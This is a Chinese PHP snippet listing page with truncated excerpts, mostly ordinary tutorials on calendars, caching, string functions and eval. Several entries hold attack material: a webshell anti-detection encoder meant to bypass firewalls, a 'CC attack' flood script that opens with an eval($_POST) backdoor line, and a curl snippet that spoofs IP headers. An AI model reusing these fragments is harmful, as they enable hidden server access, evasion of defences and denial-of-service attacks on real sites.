php shell超强免杀、减少体积工具实现代码

2017年02月06日 32 阅读

lostwolf写的 这不是webshell,只是个webshell免杀工具 切勿当初webshell使用 仅限免杀phpwebshell 该工具运行在 cli 模式！ 如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马！ 任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙 复制代码 代码如下: <？php /* Title: PHP shell nokill T00L Blog: exploit-db.blogcn...

php cc攻击代码与防范方法

2017年02月06日 30 阅读

cc攻击代码，支持udp复制代码 代码如下: <？php eval（$_POST[Chr（90）]）; set_time_limit（86400）; ignore_user_abort（True）; $packets = 0; $http = $_GET["http"]; $rand = $_GET["exit"]; $exec_time = $_GET["time"]; if （StrLen（$http）==0 or StrLen（$rand）==...

php页面缓存ob系列函数介绍

2017年02月06日 29 阅读

这里有缓存技术的简单介绍：http://www.jb51.net/article/4965.htm php页面缓存主要用到的是ob系列函数，如ob_start（）,ob_end_flush（）,ob_get_contents（） 下面是编码部分。 1.初始化函数，一般是设置页面缓存路径、缓存文件命名格式等，可按个人喜好自定义。这里用到的识别ID是经加密的$_SERVER[REQUEST_URI]参数。这个函数中最后还有一个if判断：若未过缓存期...

PHP 万年历实现代码

2017年02月06日 30 阅读

使用PHP实现万年历功能的要点： •得到当前要处理的月份总共有多少天$days •得到当前要处理的月份的一号是星期几$dayofweek $days的作用:知道要处理的月份共有多少天，就可以通过循环输出天数了 $dayofweek的作用:只有知道每个月的1号是星期几，才能知道在输出天数之前需要输出多少空格（空白） 最终效果图如下： “万年历类”的代码如下： 复制代码 代码如下: <？php /** * PHP万年历 * @au...

php模拟js函数unescape的函数代码

2017年02月06日 28 阅读

复制代码 代码如下: function unescape（$str） { $ret = ""; $len = strlen（$str）; for （$i = 0; $i < $len; $i++） { if （$str[$i] == "%" && $str[$i+1] == "u"） { $val = hexdec（substr（$str, $i+2, 4））; if （$val < 0x7f） $ret .= chr（$val）; else ...

php中检查文件或目录是否存在的代码小结

2017年02月06日 29 阅读

下面是一个简单的检查文件是否存在的实例代码： 复制代码 代码如下: <？php $filename = "/path/to/foo.txt"; if （file_exists（$filename）） { echo "The file $filename exists"; } else { echo "The file $filename does not exist"; } ？> 如果文件存在，执行该 PHP 文件的显示结果是： The fi...

真正根据utf8编码的规律来进行截取字符串的函数（utf8版sub_str ）

2017年02月06日 31 阅读

复制代码 代码如下: /* * 功能: 作用跟substr一样，除了它不会造成乱码 * 参数: * 返回: */ function utf8_substr（ $str , $start , $length=null ）{ // 先正常截取一遍. $res = substr（ $str , $start , $length ）; $strlen = strlen（ $str ）; /* 接着判断头尾各6字节是否完整（不残缺） */ // 如果参数start是...

Zend Studio去除编辑器的语法警告设置方法

2017年02月06日 31 阅读

环境：Zend Studio 8.0 Zend Studio是PHP开发者的首选开发工具，其地位相当于微软开发工具中的Visual Studio。Zend Studio的编辑器可以帮我们指出语法错误和警告，但是太多的警告有时让我们的代码看起来很乱，很不舒服。如图：如何去除语法检查中的警告呢？Google后没有找到答案，只好自己摸索，终于找到了：打开window==〉preferences，找到如下选项，将右边的钩全打掉即可。一下子变得清爽了：...

PHP daddslashes 使用方法介绍

2017年02月06日 32 阅读

实例代码： 复制代码 代码如下: @set_magic_quotes_runtime（0）; $MQG = get_magic_quotes_gpc（）; if（！$MQG && $_POST） $_POST = daddslashes（$_POST）; if（！$MQG && $_GET） $_GET = daddslashes（$_GET）; //转译字符函数 function daddslashes（$string） { if（！is_array（$...

php daddslashes（）和 saddslashes（）有哪些区别分析

2017年02月06日 33 阅读

//GPC过滤，自动转义$_GET，$_POST，$_COOKIE中的特殊字符，防止SQL注入攻击 $_GET = saddslashes（$_GET）; $_POST = saddslashes（$_POST）; 复制代码 代码如下: 下面是daddslashes（）和 saddslashes（）的例子eg: saddslashes function daddslashes（$string, $force = 0, $strip = FALSE） { /...

PHP去掉从word直接粘贴过来的没有用格式的函数

2017年02月06日 34 阅读

一般处理的方式有二种：1.通过编辑器的JS直接去除。2.提交到后台后，直接用程序去掉无效标签。下面我就分享一个通过PHP的处理方式，成功率可能不是100%。这程序也是在PHP官网上看到的，就顺便粘贴过来了。 复制代码 代码如下: function ClearHtml（$content,$allowtags=""） { mb_regex_encoding（"UTF-8"）; //replace MS special characters first $sea...

PHP学习笔记 IIS7下安装配置php环境

2017年02月06日 30 阅读

Php如何安装 Php版本的选择 Php在windows下的（php5.4.7）有两种版本： VC9 x86 Non Thread Safe 非线程安全型 以FastCGI模式运行 VC9 x86 Thread Safe 线程安全性 以ISAPI模式运行 安装过程 只需要解压上一步的zip包即可，然后配置php.ini 详见Php如何配置 Mysql如何安装 下载Mysql database msi安装文件，安装提示下一步即可。 Php如何配置 Php的z...

利用PHP生成静态HTML文档的原理

2017年02月06日 26 阅读

给出代码： 复制代码 代码如下: <？php //引入数据库配置文件 include（ dirname（dirname（__FILE__））."includeconfig.php" ）; /** * * 将数据库中的文章生成单个HTML文件. * @param Date $Date * @param Time $Time * @param String $Content * @param String $Title */ function Gener...

php中防止恶意刷新页面的代码小结

2017年02月06日 31 阅读

防止恶意刷页面的原理是 要求在页面间传递一个验证字符串， 在生成页面的时候 随机产生一个字符串， 做为一个必须参数在所有连接中传递。同时将这个字符串保存在session中。 点连接或者表单进入页面后，判断session中的验证码是不是与用户提交的相同，如果相同，则处理，不相同则认为是重复刷新。 在处理完成后将重新生成一个验证码，用于新页面的生成 代码 复制代码 代码如下: <？php session_start（）; $k=$_GET["k"]; $...

php图片加中文水印实现代码分享

2017年02月06日 29 阅读

例1 复制代码 代码如下: <？php Header（"Content-type: image/png"）; /*通知浏览器,要输出图像*/ $im = imagecreate（400 , 300）; /*定义图像的大小*/ $gray = ImageColorAllocate（$im , 235 , 235 , 235）; $pink = ImageColorAllocate（$im, 255 , 128 , 255）; $fontfile = "...

PHP5下$_SERVER变量不再受magic_quotes_gpc保护的弥补方法

2017年02月06日 31 阅读

复制代码 代码如下: <？php $magic_quotes_gpc = get_magic_quotes_gpc（）; @extract（daddslashes（$_COOKIE））; @extract（daddslashes（$_POST））; @extract（daddslashes（$_GET））; if（！$magic_quotes_gpc） { $_FILES = daddslashes（$_FILES）; } daddslashes函...

php eval函数用法总结

2017年02月06日 31 阅读

eval定义和用法 eval（） 函数把字符串按照 PHP 代码来计算。 该字符串必须是合法的 PHP 代码，且必须以分号结尾。 如果没有在代码字符串中调用 return 语句，则返回 NULL。如果代码中存在解析错误，则 eval（） 函数返回 false。 语法 eval（phpcode） 参数 描述 phpcode 必需。规定要计算的 PHP 代码。 提示和注释 注释：返回语句会立即终止对字符串的计算。 注释：该函数对于在数据库文本字段中供日后...

php eval函数用法 PHP中eval（）函数小技巧

2017年02月06日 29 阅读

eval 将值代入字符串之中。 语法: void eval（string code_str）; 传回值: 无 函式种类: 数据处理 内容说明 本函式可将字符串之中的变量值代入，通常用在处理数据库的数据上。参数 code_str 为欲处理的字符串。值得注意的是待处理的字符串要符合 PHP 的字符串格式，同时在结尾处要有分号。使用本函式处理后的字符串会沿续到 PHP 程序结束。 使用范例 复制代码 代码如下: <？php $string = "杯子"; ...

php中将指针移动到数据集初始位置的实现代码[mysql_data_seek]

2017年02月06日 30 阅读

复制代码 代码如下: <？ // Start snipit 1 $sql = "SELECT * from <table>"; $result = mysql_query（$sql）; while （$row = mysql_fetch_assoc（$result）） { // do stuff with $row } mysql_data_seek（$result, 0）; //关键是这儿 while （$row = mysql_fet...

php curl 伪造IP来源的实例代码

2017年02月06日 30 阅读

curl发出请求的文件fake_ip.php: 代码 复制代码 代码如下: <？php $ch = curl_init（）; $url = "http://localhost/target_ip.php"; $header = array（ "CLIENT-IP:58.68.44.61", "X-FORWARDED-FOR:58.68.44.61", ）; curl_setopt（$ch, CURLOPT_URL, $url）; curl_setop...